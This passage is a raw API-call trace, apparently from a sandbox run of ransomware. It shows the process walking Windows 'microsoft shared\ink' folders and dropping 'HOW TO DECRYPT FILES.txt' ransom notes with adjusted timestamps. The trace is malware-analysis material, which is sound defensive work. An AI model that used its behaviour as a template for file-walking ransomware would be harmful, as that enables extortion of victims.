ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0076.315] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.315] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipBand.dll.mui") returned -1 [0076.315] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipBand.dll.mui") returned -1 [0076.315] lstrcmpiA (lpString1="", lpString2="TipBand.dll.mui") returned -1 [0076.315] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned="rtscom.dll.mui" [0076.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.315] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.315] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.315] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.316] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="TipBand.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipBand.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipBand.dll.mui" [0076.316] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x780074, dwReserved1=0x74, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0076.316] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.316] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipRes.dll.mui") returned -1 [0076.316] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipRes.dll.mui") returned -1 [0076.316] lstrcmpiA (lpString1="", lpString2="TipRes.dll.mui") returned -1 [0076.316] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipBand.dll.mui") returned="TipBand.dll.mui" [0076.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.316] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.316] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.316] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.316] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="TipRes.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" [0076.316] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0076.316] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.316] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipTsf.dll.mui") returned -1 [0076.316] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipTsf.dll.mui") returned -1 [0076.316] lstrcmpiA (lpString1="", lpString2="TipTsf.dll.mui") returned -1 [0076.317] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned="TipRes.dll.mui" [0076.317] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.317] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.317] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.317] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.317] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="TipTsf.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" [0076.317] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0076.317] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.317] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0076.317] lstrcmpA (lpString1=".", lpString2="HWRCustomization") returned -1 [0076.317] lstrcmpA (lpString1="..", lpString2="HWRCustomization") returned -1 [0076.318] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*") returned="*.*" [0076.318] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HWRCustomization" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" [0076.318] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.318] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.318] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.318] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.318] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.318] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.318] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.319] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x570048, dwReserved1=0x3, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0076.319] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.319] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InkDiv.dll") returned -1 [0076.319] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InkDiv.dll") returned -1 [0076.319] lstrcmpiA (lpString1="", lpString2="InkDiv.dll") returned -1 [0076.319] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*") returned="*.*" [0076.319] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.319] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.319] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.319] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0xffffffff [0076.319] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.321] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.321] CloseHandle (hObject=0x8c) returned 1 [0076.321] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="InkDiv.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkDiv.dll" [0076.321] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56787bbf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56787bbf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x159800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0076.321] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.321] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InkObj.dll") returned -1 [0076.321] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InkObj.dll") returned -1 [0076.321] lstrcmpiA (lpString1="", lpString2="InkObj.dll") returned -1 [0076.321] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned="InkDiv.dll" [0076.321] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.322] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.322] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.322] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.322] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="InkObj.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkObj.dll" [0076.322] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67731975, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x67731975, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x96f16ef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0076.322] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="journal.dll") returned -1 [0076.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="journal.dll") returned -1 [0076.322] lstrcmpiA (lpString1="", lpString2="journal.dll") returned -1 [0076.322] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned="InkObj.dll" [0076.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.322] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.322] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.322] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.322] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="journal.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\journal.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\journal.dll" [0076.322] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a95f54, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x36a95f54, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x99e8b5f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x151e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0076.322] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="micaut.dll") returned -1 [0076.323] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="micaut.dll") returned -1 [0076.323] lstrcmpiA (lpString1="", lpString2="micaut.dll") returned -1 [0076.323] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\journal.dll") returned="journal.dll" [0076.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.323] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.323] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.323] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.323] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="micaut.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\micaut.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\micaut.dll" [0076.323] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa822ba, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xcfa822ba, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xcc41afc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0076.323] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.323] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.323] lstrcmpiA (lpString1="", lpString2="Microsoft.Ink.dll") returned -1 [0076.323] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\micaut.dll") returned="micaut.dll" [0076.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.323] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.323] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.323] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.323] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="Microsoft.Ink.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" [0076.324] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19b39d9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb19b39d9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1a25dfa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0076.324] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.324] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mip.exe") returned -1 [0076.324] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mip.exe") returned -1 [0076.324] lstrcmpiA (lpString1="", lpString2="mip.exe") returned -1 [0076.324] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned="Microsoft.Ink.dll" [0076.324] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.324] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.324] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.324] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.324] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="mip.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft 